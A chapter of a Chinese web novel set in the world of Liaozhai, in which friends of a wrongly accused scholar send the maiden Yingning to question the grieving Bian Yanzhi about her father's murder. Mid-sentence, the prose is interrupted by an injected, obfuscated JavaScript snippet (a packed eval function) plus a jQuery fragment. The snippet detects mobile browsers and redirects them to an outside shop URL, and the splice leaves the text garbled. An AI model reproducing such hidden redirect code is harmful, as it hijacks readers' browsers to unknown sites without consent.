58.胭脂(四)
作品:《在聊斋里管闲事》 客栈中,席方平表情为难道:“我们本想从那位卞姑娘下手,她是苦主也是证人,只有她才知道事情的真实经过。今日在衙门前观看审理过程,我看秋隼是真的不认识她,就是这会儿白道长去问他,恐怕他也说不出个所以然来。”
他说完又犹豫了一下,道:“只是若去找这位卞姑娘确认事情细节恐怕也有不妥。如今她本就是因不守礼法惹祸上身,害了自己父亲,无论是自己的内疚还是他人的议论,都足够让她难受了。我们以秋隼友人的名义去问她,她恐怕也不会直言相告,反倒还怕刺激她做出什么不理智的事,那秋隼的案子就更难有转机了。”
“也对,我们毕竟是男子,此时上门去找她,能不能问出更多案件细节还两说,若是被他的那些街坊邻居看到,肯定要流言四起了,对案子百害而无一利。”丁再昌叹道,也是愁眉莫展。
李钰闻言思忖了片刻,他们去找不行,若是让行野悄悄去她家里面找卞胭脂问话可行吗?恐怕也不好,现在她定然最是警惕男子,若真如师弟他们所说那样刺激到了她,反倒让行野背上一桩因果……对了,他是知道这个卞胭脂的!那日她到他们铺子里买脂粉,和婴宁看起来颇为相熟,要不拜托婴宁帮忙好了。
他将这个想法跟二人一说,都觉得可行,若让女子前去,从各方面来讲可能都要好说话些。
李钰雷厉风行,立刻去找了婴宁详细地说明了情况。
以往都是笑脸盈盈的婴宁听闻此事也沉下了脸,关系到人命,不能不严肃对待,于是正色道:“少东家和白道长对我有恩,此事又涉及人命,我若能帮得上忙,自然义不容辞。”
李钰很是感激,“那就拜托你了,只是此时恐怕卞家周围还不消停,你一个姑娘本也不好沾惹这事,还需得避人耳目,我们只能晚点去。不如你先和我回家去,就跟铺子上的人说,是我娘让你去宅中花园里帮忙,要在那边住几天,晚上我和行野送你去卞家。”
婴宁连忙应下,就去跟铺子里的娘子们说了一声。
话分两头,白行野进到狱中帮鄂秋隼处理伤口,此时鄂秋隼已经醒了,就是身后的伤口实在惨不忍睹。除了给他上药,白行野还悄悄渡了些灵气给他,养伤好歹也得有精神养才行。
鄂秋隼迷茫的双眼渐渐聚焦,他看清眼前之人,猛地捉住白行野的手就开始哭。白行野眉头一皱,还是忍住了,没有推开他。
“白道长,真的不是我,我真的不认识那个卞姑娘,也没有杀人!到底是为什么会牵扯上我啊?”鄂秋隼跟见到救星一样哭诉道。
白行野耐着性子道:“大家都知道你是被冤枉的,阿钰他们现在就在外面帮你想办法。你也不用担心你娘,她现在被接到席家去了,席家大娘子在照顾她。”
鄂秋隼听了委屈之外多了些感动,也终于冷静了下来。
“只有一事,无论再如何受刑,你绝对不能认罪,更不可画押!这瓶金疮药你藏在草垫下,自己记得擦,还有这包参片,若是觉得撑不住便含一片。”
鄂秋隼接过药含泪点头,“谢谢白道长,拜托大家了。”
当晚,李钰、白行野和婴宁,趁着夜色前往卞家。而此时卞家门口的场景,却让三人都露出讶异之色。
卞家门户紧闭,门前挂着白灯笼,而门上、地上全是被砸的烂菜叶,数量之多,简直无从下脚,散发的味道更是难闻。
三人面色难看,这卞家遭遇了这种事情,居然还有人如此对待失去了亲人的卞家母女。
作为非人的白行野和婴宁更是无法理解,婴宁迟疑地问:“这是怎么回事?卞家不是在办丧事吗?怎么会有人这么对她们?”
李钰却是知道原因的,叹了口气幽幽道:“女子名声,是一把杀人的刀。”
他的声音很低,但在场的另两人都听得清楚,神情各异。眉头紧锁的白行野抬手一挥,将门前的脏物清理掉。
李钰向婴宁点了点头,婴宁深呼吸了一下,事关重大,她可不想出差错。她走上前轻轻的敲响了卞家大门,李钰二人已躲到一旁去了。
过了许久才有人来开门,来者正是披麻戴孝的卞胭脂。
因为方才门口那一幕,又看到形容憔悴的卞胭脂,婴宁脸上不由露出一丝心疼,她道:“卞姑娘,深夜相扰,还望见谅,我听闻噩耗,特此前来吊唁卞伯父。”
卞胭脂红肿的双眼渐渐睁大,她完全没想到发生此事以后,居然是一名女子不顾自身声誉前来吊唁,她声音沙哑道:“你不该来,平白污了你的名声……”
话未尽泪先流,本以为她的眼泪已经流干了,此时泪水却无法抑制地再次滚落下来。
婴宁走进灵堂,视线停在堂中一卷草席上。卞牛医走得突然,家里恐怕是来不及买合适的棺材,尸体被一卷草席包裹着。婴宁是在荒坟地长大的,没有丝毫惧色,按李钰说的规规矩矩地上香祭拜。
做完这些,她才拉着卞胭脂走到院中,她关心道:“伯母怎么不在?”
卞胭脂含泪说:“母亲受到打击太大病倒了,现在房里睡着呢。都怪我,这一切都怪我……”
婴宁握住卞胭脂的手,劝道:“胭脂姑娘,你不要这样想,那是杀人犯作的恶,怎能怪你?”
“如果不是我有眼无珠,思慕上那豺狼,怎会引狼入室?”卞胭脂显然已经陷入自责中难以自拔。
婴宁心里记着李钰的吩咐,试探问道:“你一个姑娘家,平日甚少出门,顶多出来买点针线或胭脂水粉,怎么认识鄂秀才的?”
卞胭脂将手从婴宁手中抽回,头偏向一边,“你也觉得我不堪吧?”
“我怎会如此想?”婴宁矢口否认道,“姑娘想岔了,我只是在想这鄂秀才毕竟是读书人,还刚中了秀才准备考科举的,这样有着大好前程的人,为何会铤而走险做出这种事?此事是否还有什么误会?或许犯人并不是鄂秋隼呢?”
卞胭脂还当婴宁是想法太天真,她摇头道:“这就是知人知面不知心,我当初第一次见到他的时候,他从我门前经过,看到我立刻害羞得低下头匆匆而过。我那时也当他是个老实的读书人,谁知道他忽然在一天半夜不约而至,任我如何赶都赶不走。”
婴宁听得捂住嘴,迟疑地问:“确定是鄂秀才吗?怎会如此不管不顾就找上门,也太孟浪了!”
卞胭脂忽然止住了话头,那日王氏说了让他们两人见上一面,没几天鄂秋隼便找上门来,定是王氏自作主张。可王氏应该也是好心,她并不想牵连这位邻居姐姐,在公堂之上,也直接隐去了王氏在其中的作用。她丈夫常年在外,一个女人独自在家本就容易遭到非议,若是还让别人知道,她帮了两人牵线搭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244485|195725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桥,助二人钻穴逾墙,那些难听的污言秽语岂不也要落到王氏头上?她已经害了自己一家,何必再搭上与她交好的王姐姐。
她停顿了半晌,才道:“怎么不是他?是他上门自报家门的,也是他强行抢了我的绣鞋。”卞胭脂说起这事就生气,见婴宁还不信,便将事情的经过从头到尾说了一遍。
婴宁少经人事,却极聪慧,立刻发现其中蹊跷,“不对呀胭脂姑娘,若真是鄂秋隼,既然他已来找过你一次,第一次能直接来敲你的窗扉,怎么反而来过一次后,第二次却走错了屋呢?”
“这……”卞胭脂可没想过这个问题,“这我如何知晓?或许是那晚没看清……”
“我总觉得其中有些地方不对……”
卞胭脂虽感动于婴宁在此时来看她,但是面对她连续的质疑也有些恼了,“有什么不对?总之绣鞋都在他身上,人肯定同一人,那就是鄂秋隼!至于他当天是喝多了酒还是看花眼才走错的门,这就要去问他了。”
婴宁见她激动起来,也不敢再多问,安慰了几句就告辞了。反正她已经从卞胭脂的口中将案件的经过还原,也找到了其中违和之处,目的既已达成,她再与其争辩也无用。
临走前,她对卞胭脂道:“姑娘若今后有难处就到胭脂铺来找我,我虽无能,但也愿略尽绵力,只望姑娘可千万要珍重自身。”
这话卞胭脂听了进去,感激地点了点头,将婴宁送了出去。
见卞胭脂阖上了门,李钰和白行野才从一旁树下走出来,三人汇合一同回了李家再行商议。
因为婴宁可不像小翠可化狐身,在他人眼中还是一个姑娘家,于是他们三人便在花厅敞着门议事。
婴宁将她问到的情况一一说明,又指出了其中的疑点。
“婴宁姑娘说的没错,没道理第一次上门就找对房间的人,第二次却走错。”李钰赞同道,“感觉就像是两个不同的人,可第一次这人就自称鄂秋隼,实在可疑。”
白行野接过话,“如果不是同一个人,那第二次来的人却是通过什么途径得到了卞姑娘的绣鞋呢?”
众人陷入思索。
“还有一点。”婴宁一边回忆卞胭脂说话状态一边说,“我当时听胭脂姑娘说话,中途她好像在想什么,迟疑了许久,给人的感觉像是有所保留,或许她对我说的并不是完整的经过。”
白行野也同意婴宁的看法,“如你所说,他们二人初遇是在卞家门口,只有一面之缘,就算夜里来找她的是真是秋隼,可鄂秋隼如何就知道卞姑娘对他有意?”
李钰“啪”的一声合上折扇,“没错,中间必然少了一环,或者说少了什么人!无论在公堂上,还是对婴宁姑娘所说,这位卞姑娘皆并未说出实话,或者说是没有说全实话。”
“事关人命之事,却还有所隐瞒,她到底想不想还自己父亲一个公道?”白行野拧眉不解道。
婴宁叹了一声道:“可惜我没能问出更多,当时她情绪有些激动,我也不敢过于逼问她。”
“你做得没错,确实不适合将她逼得太紧。我们现在得到的信息已经够多了,今天辛苦你了。”李钰安慰婴宁道。
受了夸奖的婴宁今日可算露出了笑容。虽一时还不清楚其中缺少的环节到底为何,但今天已经太晚了,三人各怀心思,暂且先散了。

